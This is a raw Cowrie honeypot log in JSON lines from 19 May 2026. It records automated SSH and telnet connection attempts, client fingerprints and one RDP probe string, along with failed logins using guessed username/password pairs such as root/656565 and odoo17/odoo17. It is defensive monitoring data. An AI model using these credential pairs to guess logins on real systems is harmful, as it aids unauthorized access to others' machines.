{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54695,"dst_ip":"159.203.135.109","dst_port":22,"session":"d94223fb2447","protocol":"ssh","message":"New connection: 152.42.212.128:54695 (159.203.135.109:22) [session: d94223fb2447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:57.895803Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:57.900698Z","src_ip":"152.42.212.128","session":"d94223fb2447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:57.909038Z","src_ip":"152.42.212.128","session":"d94223fb2447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:58.065336Z","src_ip":"45.153.34.112","session":"631af157b108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59628,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6b7302909df","protocol":"telnet","message":"New connection: 192.119.13.58:59628 (10.17.0.5:23) [session: a6b7302909df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:58.588191Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36650,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aabd035c78a","protocol":"ssh","message":"New connection: 45.153.34.112:36650 (10.17.0.5:22) [session: 5aabd035c78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:00.130718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:00.139320Z","src_ip":"45.153.34.112","session":"5aabd035c78a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:00.225078Z","src_ip":"45.153.34.112","session":"5aabd035c78a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:00.478488Z","src_ip":"45.153.34.112","session":"5aabd035c78a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":38052,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fcf2350976c","protocol":"ssh","message":"New connection: 87.251.79.125:38052 (159.203.135.109:22) [session: 1fcf2350976c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:00.647291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:00.654473Z","src_ip":"87.251.79.125","session":"1fcf2350976c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:00.732228Z","src_ip":"87.251.79.125","session":"1fcf2350976c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"656565","message":"login attempt [root/656565] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:00.961907Z","src_ip":"87.251.79.125","session":"1fcf2350976c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:01.564347Z","src_ip":"45.153.34.112","session":"5aabd035c78a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:02.038617Z","src_ip":"87.251.79.125","session":"1fcf2350976c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36666,"dst_ip":"10.17.0.5","dst_port":22,"session":"619903967421","protocol":"ssh","message":"New connection: 45.153.34.112:36666 (10.17.0.5:22) [session: 619903967421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:03.851630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:03.858574Z","src_ip":"45.153.34.112","session":"619903967421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:03.942037Z","src_ip":"45.153.34.112","session":"619903967421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:04.321984Z","src_ip":"45.153.34.112","session":"619903967421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":42074,"dst_ip":"159.203.135.109","dst_port":22,"session":"08cdc0c1b031","protocol":"ssh","message":"New connection: 103.27.238.114:42074 (159.203.135.109:22) [session: 08cdc0c1b031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:04.746633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:04.755543Z","src_ip":"103.27.238.114","session":"08cdc0c1b031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:05.025591Z","src_ip":"103.27.238.114","session":"08cdc0c1b031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:05.570295Z","src_ip":"45.153.34.112","session":"619903967421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:05.834798Z","src_ip":"103.27.238.114","session":"08cdc0c1b031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:07.106566Z","src_ip":"103.27.238.114","session":"08cdc0c1b031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36688,"dst_ip":"10.17.0.5","dst_port":22,"session":"45a5005c1ade","protocol":"ssh","message":"New connection: 45.153.34.112:36688 (10.17.0.5:22) [session: 45a5005c1ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:07.609361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:07.728910Z","src_ip":"45.153.34.112","session":"45a5005c1ade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:07.733596Z","src_ip":"45.153.34.112","session":"45a5005c1ade","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:08.075067Z","src_ip":"45.153.34.112","session":"45a5005c1ade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:09.162414Z","src_ip":"45.153.34.112","session":"45a5005c1ade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60114,"dst_ip":"10.17.0.5","dst_port":22,"session":"09d8d65ec183","protocol":"ssh","message":"New connection: 45.153.34.112:60114 (10.17.0.5:22) [session: 09d8d65ec183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:11.410720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:11.415464Z","src_ip":"45.153.34.112","session":"09d8d65ec183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:11.498071Z","src_ip":"45.153.34.112","session":"09d8d65ec183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:11.751164Z","src_ip":"45.153.34.112","session":"09d8d65ec183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:12.858155Z","src_ip":"45.153.34.112","session":"09d8d65ec183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60122,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0d215fe55af","protocol":"ssh","message":"New connection: 45.153.34.112:60122 (10.17.0.5:22) [session: c0d215fe55af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:14.898016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:15.007752Z","src_ip":"45.153.34.112","session":"c0d215fe55af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:15.012560Z","src_ip":"45.153.34.112","session":"c0d215fe55af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:15.387556Z","src_ip":"45.153.34.112","session":"c0d215fe55af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:16.475396Z","src_ip":"45.153.34.112","session":"c0d215fe55af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.445016384124756,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:18.380876Z","src_ip":"192.119.13.58","session":"f338b2196af6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60128,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3e44b323c85","protocol":"ssh","message":"New connection: 45.153.34.112:60128 (10.17.0.5:22) [session: f3e44b323c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:18.665756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:18.748343Z","src_ip":"45.153.34.112","session":"f3e44b323c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:18.772233Z","src_ip":"45.153.34.112","session":"f3e44b323c85","protocol":"ssh"}
